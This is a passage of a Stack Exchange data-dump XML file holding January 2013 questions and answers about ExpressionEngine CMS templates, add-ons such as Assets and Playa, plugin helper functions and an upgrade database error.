  <row Id="4849" PostTypeId="2" ParentId="4846" CreationDate="2013-01-16T03:54:03.657" Score="2" Body="&lt;p&gt;Typically when I want to only show certain snippets of code when I know the URL is fixed, I hard code the segment value in. So in your case I would just change your advanced conditional to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot;}&#xA; &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path={segment_1}}&quot;&amp;gt;{channel}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if:elseif segment_1 == &quot;contact-us&quot;}&#xA; &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;Contact&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if:else}&#xA; &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{channel}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-16T03:54:03.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4850" PostTypeId="1" AcceptedAnswerId="4856" CreationDate="2013-01-16T05:31:48.820" Score="1" ViewCount="94" Body="&lt;p&gt;We have a site originally written in ee 1.5.2 using the classic subdomain method. Can I take  &quot;classic&quot; subdomain folders and move them into subfolders in Structure for organizational purposes and then use .htaccess to get them to show as subdomains in the browser when they are rendered? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance. . . to the remarkable ee se braintrust!  &lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="719" LastEditDate="2013-01-16T13:38:16.047" LastActivityDate="2013-01-16T13:38:16.047" Title="structure module and classic subdomains" Tags="|structure|htaccess|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4851" PostTypeId="1" CreationDate="2013-01-16T05:36:25.423" Score="3" ViewCount="147" Body="&lt;p&gt;I have a channel 'user' with a detail page about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{reverse_related_entries channel=&quot;post&quot;}&lt;/code&gt; tag to pull in entries that user created and list them on that page. This all works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry in the post channel also has a related entry, so I am trying to call it but am not having any luck. Can I call a related entry inside a reverse related entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example with just EE tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;user&quot;}&#xA;    {title} &#xA;    {reverse_related_entries channel=&quot;posts&quot;}&#xA;        {title}&#xA;        {related_entries id=&quot;myfield&quot;}&#xA;            {title}&#xA;        {/related_entries}&#xA;    {/reverse_related_entries}  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the nested related entry returns &lt;code&gt;{REL[myfield]UyOu51DdREL}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can get this to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="55" LastEditDate="2013-01-16T14:35:42.907" LastActivityDate="2013-01-16T14:35:42.907" Title="Using a related entry inside a reverse related entry?" Tags="|related-entries|reverse-related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4852" PostTypeId="1" CreationDate="2013-01-16T05:54:26.527" Score="2" ViewCount="610" Body="&lt;p&gt;I have a problem that occasionally a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag is being added to a table cell, usually when someone pastes something into it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove that &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and just have the cell be an empty &lt;code&gt;&amp;lt;td&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt;, ideally without editing the source? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option that could be added through the advanced settings?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-17T15:15:19.647" Title="Possible to remove p tags from a table cell in Wygwam" Tags="|wygwam|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4853" PostTypeId="2" ParentId="4852" CreationDate="2013-01-16T06:00:58.667" Score="0" Body="&lt;p&gt;what about using one of the HTML stripper add-ons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find quite a few &lt;a href=&quot;http://devot-ee.com/search/results?keywords=strip&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on Devot:ee.&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="16" LastEditDate="2013-01-17T05:42:17.430" LastActivityDate="2013-01-17T05:42:17.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4854" PostTypeId="2" ParentId="4851" CreationDate="2013-01-16T06:36:17.680" Score="1" Body="&lt;p&gt;Don't think you can do it natively but you can using the third party add-on &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; and the &lt;code&gt;var_prefix&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;user&quot;}&#xA;    {title}&#xA;    {exp:playa:children channel=&quot;posts&quot; parse=&quot;inward&quot; var_prefix=&quot;post&quot;}&#xA;        {exp:playa:children channel=&quot;editors&quot; var_prefix=&quot;editor&quot;}&#xA;            {post:title} - {editor:title}&#xA;        {/exp:playa:children}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would replace &lt;code&gt;channel=&quot;editors&quot;&lt;/code&gt; with the name of the related channel and set a &lt;code&gt;var_prefix&lt;/code&gt; name that suited.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-16T06:36:17.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4855" PostTypeId="2" ParentId="2201" CreationDate="2013-01-16T07:13:59.680" Score="0" Body="&lt;p&gt;The nice thing about safecracker is that modifying channel entries will actually trigger the channel module hooks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them might be of more use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="813" LastActivityDate="2013-01-16T07:13:59.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostTypeId="2" ParentId="4850" CreationDate="2013-01-16T09:29:08.673" Score="2" Body="&lt;p&gt;I understand your thinking but I can't see it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Travis says, the parent entries (for example /about) there's no way you could create a subfolder on the server of /about - as soon as you do that, it'll take precedence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the htaccess route, the browser will try route it to an actual subdomain and would fail if not found.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-16T09:29:08.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostTypeId="1" CreationDate="2013-01-16T09:32:33.893" Score="1" ViewCount="52" Body="&lt;p&gt;I downloaded Assets 2.0 and ran into an issue where the selection for the field &quot;Allow multiple selections?&quot; is not saved.&#xA;Thus I can't restrict the user to select only one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I'm using Expressionengine v2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Flo&lt;/p&gt;&#xA;" OwnerUserId="814" LastEditorUserId="268" LastEditDate="2013-01-21T08:36:58.580" LastActivityDate="2013-01-21T08:36:58.580" Title="Assets 2.0 (P&amp;T) not saving field setting for mutiple selection" Tags="|add-on|assets|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4858" PostTypeId="2" ParentId="2340" CreationDate="2013-01-16T10:20:15.177" Score="1" Body="&lt;p&gt;This will probably be too late but it is possible to do that natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow PHP on the template and set it to input on the template preferences. Then add the following query in your template. Replace 'your relationship field' with the name of your relationship field and change the channel id number to the id of the channel the entry is related to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will list all of the members entries from the related channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;your_relationship_field&quot; id=&quot;your_relationship_field&quot;&amp;gt;&#xA;&#xA;{exp:query sql=&quot;SELECT entry_id AS rel_entry_id, title AS rel_title, (SELECT rel_child_id FROM exp_relationships WHERE rel_id = '{your_relationship_field}' LIMIT 1) AS rel_child_id FROM exp_channel_titles WHERE channel_id =1 AND author_id = &amp;lt;?php echo $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'); ?&amp;gt;&quot;}&#xA;        &amp;lt;option value=&quot;{rel_entry_id}&quot;{if rel_child_id == rel_entry_id} selected=&quot;selected&quot;{/if}&amp;gt;{rel_title}&amp;lt;/option&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="815" LastActivityDate="2013-01-16T10:20:15.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4859" PostTypeId="2" ParentId="4836" CreationDate="2013-01-16T10:33:17.543" Score="1" Body="&lt;p&gt;This is because your Upload Filedirs have relative paths in Server Path field - this was somehow forgotten in the whole process. This will be fixed in the upcoming release, but, in the meantime, you can just set it to an absolute path and that should work for you.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-16T10:33:17.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4860" PostTypeId="1" AcceptedAnswerId="4874" CreationDate="2013-01-16T10:44:34.577" Score="1" ViewCount="302" Body="&lt;p&gt;I have 2 or 3 custom plugins that I'm using on a project. In each file I have a number of 'helper' functions (is this the correct terminology?) that perform a task that might be required in a few of the functions within each plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have a copy of each helper function in each of the plugins. The code is the same and I realise this isn't the right way to go. My question is, where to put them and how to reference them from within each of these custom plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-01-16T13:35:01.860" Title="How/where do I place commonly used functions across multiple plugins?" Tags="|add-on-development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4861" PostTypeId="1" AcceptedAnswerId="4865" CreationDate="2013-01-16T10:46:59.157" Score="2" ViewCount="394" Body="&lt;p&gt;Okay, I've got a page with a url that has the channel entry title in the URL. At the beginning of the page, I show the single article for that entry, but then underneath the article, I need to show all the other articles. So I can do this by setting dynamic=&quot;no&quot; which reverts it to a normal channel:entries loop, but I would like this loop to skip and ignore the entry that is showing ta the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know how other to do this, but I put a if statement in my channel entries loop, but the problem is, I'm using switch to setup div's for a new row every third entry and the if statement messes with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the channel entries to ignore a particular entry, or I need a way to do a &quot;continue&quot; for the loop without messing with the switch count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment}&#xA;    {exp:channel:entries channel=&quot;event&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;open&quot; category=&quot;10&quot; dynamic=&quot;no&quot; limit=&quot;7&quot;}&#xA;        {if url_title != last_segment}&#xA;{switch=&quot;&amp;lt;div class='eventsRow'&amp;gt;||&quot;}&#xA;    &amp;lt;div id=&quot;{url_title}&quot; class=&quot;event {switch=&quot;|| lastEvent&quot;}&quot; data-count=&quot;{count}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pastEventConent&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div class=&quot;copy&quot;&amp;gt;&#xA;                {copybox1}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;a data-tag=&quot;{url_title}&quot; href=&quot;{title_permalink='events'}&quot;&amp;gt;View &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{if:else}&#xA;    {exp:channel:entries channel=&quot;event&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;open&quot; category=&quot;10&quot; offset=&quot;1&quot; dynamic=&quot;no&quot; limit=&quot;6&quot;}&#xA;{switch=&quot;&amp;lt;div class='eventsRow'&amp;gt;||&quot;}&#xA;    &amp;lt;div id=&quot;{url_title}&quot; class=&quot;event {switch=&quot;|| lastEvent&quot;}&quot; data-count=&quot;{count}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pastEventConent&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div class=&quot;copy&quot;&amp;gt;&#xA;                {copybox1}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;a data-tag=&quot;{url_title}&quot; href=&quot;{title_permalink='events'}&quot;&amp;gt;View &amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="816" LastEditorUserId="816" LastEditDate="2013-01-16T11:00:25.807" LastActivityDate="2013-01-16T11:11:49.963" Title="Channel Entries - Skip a particular channel entry" Tags="|channel-entries|entries|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4862" PostTypeId="2" ParentId="4824" CreationDate="2013-01-16T10:52:21.423" Score="0" Body="&lt;p&gt;As a workaround you could use the entry_id of the entry as a segment in your page's url. I often do this and have the entry_id as the last segment. You can then use the {last_segment} tag in your channel entries tag in the entry_id parameter.&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-01-16T10:52:21.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4863" PostTypeId="1" AcceptedAnswerId="4877" CreationDate="2013-01-16T10:52:38.780" Score="1" ViewCount="323" Body="&lt;p&gt;I have a channel called projects and a channel called project_update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a reverse relationship to link project updates to a project. This allows the user to post a project update to a specific project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project page has a safecracker form at the bottom to allow them to post a project update to that project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is currently the user needs to select from a dropdown list which project he wants to post the update to. Instead of giving him the option I need it to look at the project he's currently in and automatically fill the relationship field with this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard that Playa has an autocomplete features but this looks like a search box that autocompletes as you type. This is no good to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if anybody has any solutions to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I currently have, it lists all the projects owned by the member but I need it to list only the current project.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:safecracker channel=&quot;project_update&quot; include_jquery=&quot;no&quot; return=&quot;projects&quot;}&#xA;&amp;lt;p&amp;gt;&#xA; &amp;lt;label&amp;gt;Update the following Project&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;relationshiplink&quot; id=&quot;relationshiplink&quot;&amp;gt;&#xA;{exp:query sql=&quot;SELECT entry_id AS rel_entry_id, title AS rel_title, (SELECT rel_child_id FROM exp_relationships WHERE rel_id = '{relationshiplink}' LIMIT 1) AS rel_child_id FROM exp_channel_titles WHERE channel_id =1 AND author_id = &amp;lt;?php echo $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'); ?&amp;gt;&quot;}&#xA;        &amp;lt;option value=&quot;{rel_entry_id}&quot;{if rel_child_id == rel_entry_id} selected=&quot;selected&quot;{/if}&amp;gt;{rel_title}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;  &#xA;&amp;lt;/p&amp;gt;&#xA;  {/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="815" LastActivityDate="2013-01-16T13:50:58.517" Title="Autofill relationship field with no user input required" Tags="|safecracker|relationships|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4864" PostTypeId="1" AcceptedAnswerId="4892" CreationDate="2013-01-16T10:55:52.520" Score="2" ViewCount="101" Body="&lt;p&gt;I just did some really really basic updates to my site, and now I'm having some extremely weird behavior. Take this conditional for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{expiration_date format=&quot;%U&quot;}' &amp;lt;= '{current_time format=&quot;%U&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite outputting both these variables between comment-statements and actually seeing that expiration_date is higher then current_time (i.e. &lt;code&gt;1358865518 / 1358336648&lt;/code&gt;) the result is still being output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in another template I'm using MX Calculcator in a conditional to check for certain entry-counts (&lt;code&gt;{exp:mx_calc expression=&quot;mod(({count}-10),19)&quot;}&lt;/code&gt;), which was working just dandy til 5 minutes ago, and now always resolves....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever had this before? The only changes I've done are to templates...&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-01-16T15:24:03.030" Title="Basic conditionals not working after update" Tags="|conditionals|date|advanced-conditionals|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4865" PostTypeId="2" ParentId="4861" CreationDate="2013-01-16T11:11:49.963" Score="7" Body="&lt;p&gt;Much simpler than you think! Just add &lt;code&gt;url_title=&quot;not '{segment_3}'&quot;&lt;/code&gt; to your Channel Entries tag. (Or whichever segment holds your entry's &lt;code&gt;url_title&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-16T11:11:49.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostTypeId="1" CreationDate="2013-01-16T11:21:45.840" Score="5" ViewCount="298" Body="&lt;p&gt;Taking a look at Assets 2.0 docs I can see that with the {exp:assets:folders} tag we can determine the folder where the photos are uploaded in a simple file uploading field, my question is if the same can be done with the regular assets field, so that when the users click on the button to add files they can see only the pre-determined folder and its subfolders? If this is possible then what is the code? I've only used a simple {field:field_name} to load Assets inside Safecracker so I'm not familiar with more complex solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="817" LastEditorUserId="55" LastEditDate="2013-01-16T13:00:51.553" LastActivityDate="2013-04-18T00:01:52.713" Title="Restrict Assets directory access per-user in Safecracker" Tags="|safecracker|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostTypeId="2" ParentId="4866" CreationDate="2013-01-16T11:36:05.050" Score="1" Body="&lt;p&gt;If you look at the field settings for your Assets field, you should see the option to restrict the available upload directories there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-16T11:36:05.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostTypeId="1" AcceptedAnswerId="5027" CreationDate="2013-01-16T11:55:59.700" Score="4" ViewCount="555" Body="&lt;p&gt;I am using expresso store. I have 2 payment methods, offline payment and paypal. Currently it shows offline payment by default. How do I get paypal to be the default payment method?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;    {payment_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="596" LastEditorUserId="150" LastEditDate="2013-01-18T00:41:28.640" LastActivityDate="2013-01-18T00:59:39.380" Title="Expresso Store: how do you set a payment method to be selected by default?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4869" PostTypeId="2" ParentId="4805" CreationDate="2013-01-16T12:21:56.813" Score="2" Body="&lt;p&gt;This happens in /system/expressionengine/rte_tools/image/rte.image.js around line 75&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $img = $('&amp;lt;figure/&amp;gt;')&#xA;                .css('text-align','center')&#xA;                .append(&#xA;                    $('&amp;lt;img alt=&quot;&quot;/&amp;gt;')&#xA;                    .attr('src', image_object.thumb.replace(/_thumbs\//, ''))&#xA;                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would appear the image is being wrapped in a &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; tag to allow for alignment (left, right) and to add a caption, if present, in a nested &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably only way to avoid this is to edit the script.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-01-16T12:21:56.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4870" PostTypeId="2" ParentId="4860" CreationDate="2013-01-16T12:35:51.027" Score="2" Body="&lt;p&gt;It seems like you'll want to use a separate directory in the &lt;code&gt;system/expressionengine/third_party/&lt;/code&gt; hierarchy just for your library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your plugins are plug1 and plug2, they'll normally live in &lt;code&gt;system/expressionengine/third_part/plug1/pi.plug1.php&lt;/code&gt; and &lt;code&gt;system/expressionengine/third_party/plug2/pi.plug2.php&lt;/code&gt;.  For a common library referenced in both plugins, just put it somewhere like &lt;code&gt;system/expressionengine/third_party/plugs/pluglib.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="821" LastEditorUserId="821" LastEditDate="2013-01-16T12:49:59.247" LastActivityDate="2013-01-16T12:49:59.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostTypeId="1" CreationDate="2013-01-16T12:46:49.383" Score="6" ViewCount="1360" Body="&lt;p&gt;I've just run through the upgrade process from EE 2.5.3 to 2.5.5 but when attempting to visit the control panel the following error is returned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'session_id' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;INSERT INTO &lt;code&gt;exp_security_hashes&lt;/code&gt; (&lt;code&gt;date&lt;/code&gt;, &lt;code&gt;hash&lt;/code&gt;, &lt;code&gt;session_id&lt;/code&gt;)&#xA;  VALUES&#xA;  (1358339646,'ab16daea8d642ede81116584166172107d5c30f1','3f3730359d532958f37f4de75c74e92c9747b441')&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: core/EE_Security.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 118&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into this problem?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-01-17T17:02:29.707" Title="DB Error on Upgrade from 2.5.3 to 2.5.5" Tags="|database|upgrade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4872" PostTypeId="1" CreationDate="2013-01-16T12:49:55.647" Score="0" ViewCount="37" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4888/assets-2-0-update-crashes-cp-site&quot;&gt;Assets 2.0 update crashes CP &amp;amp; site&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Just went to install Assets 2.0 on a fresh install of EE 2.5.5 and got this PHP error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected T_STATIC in&#xA;  /var/sites/t/testdomainone.co.uk/public_html/system/expressionengine/third_party/assets/helper.php&#xA;  on line 205&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea what is causing the issue here?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-16T16:47:36.053" Title="Assets 2.0 Install Error" Tags="|assets|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2013-01-16T16:58:56.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="4873" PostTypeId="2" ParentId="4871" CreationDate="2013-01-16T12:59:09.623" Score="3" Body="&lt;p&gt;It looks like the installer didn't run properly and I suspect was a permissions issue. I set the appropriate permissions and then re-ran the installer and this time it seemed to run successfully and I could log back in to the control panel.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-01-16T12:59:09.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostTypeId="2" ParentId="4860" CreationDate="2013-01-16T13:13:54.320" Score="5" Body="&lt;p&gt;I would suggest bundling all of your custom functionality for the project into one add-on (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/192/custom-plugins-vs-query-tags-advantages-and-implementation/196#196&quot;&gt;more on this thinking&lt;/a&gt;) - then you can use EE's helper implementation for this. (Have a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/packages.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommended add-on directory structure&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your add-on package, add a &lt;strong&gt;helpers&lt;/strong&gt; directory, and in it place one or more PHP files which contain your function(s). Be sure that they are all named with a &lt;strong&gt;_helper.php&lt;/strong&gt; suffix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_addon&#xA;    helpers&#xA;        my_functions_helper.php&#xA;    mod.my_addon.php&#xA;    pi.my_addon.php&#xA;    (etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your plugin or module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('my_functions');&#xA;// you can now use all of the functions contained in my_functions_helper.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if you want to stick with multiple add-ons, you can certainly include any shared file that lives inside your &lt;strong&gt;third_party&lt;/strong&gt; directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(PATH_THIRD.'/my_addon/libraries/my_library.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The location and file naming after &lt;code&gt;PATH_THIRD&lt;/code&gt; is up to you.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-16T13:35:01.860" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
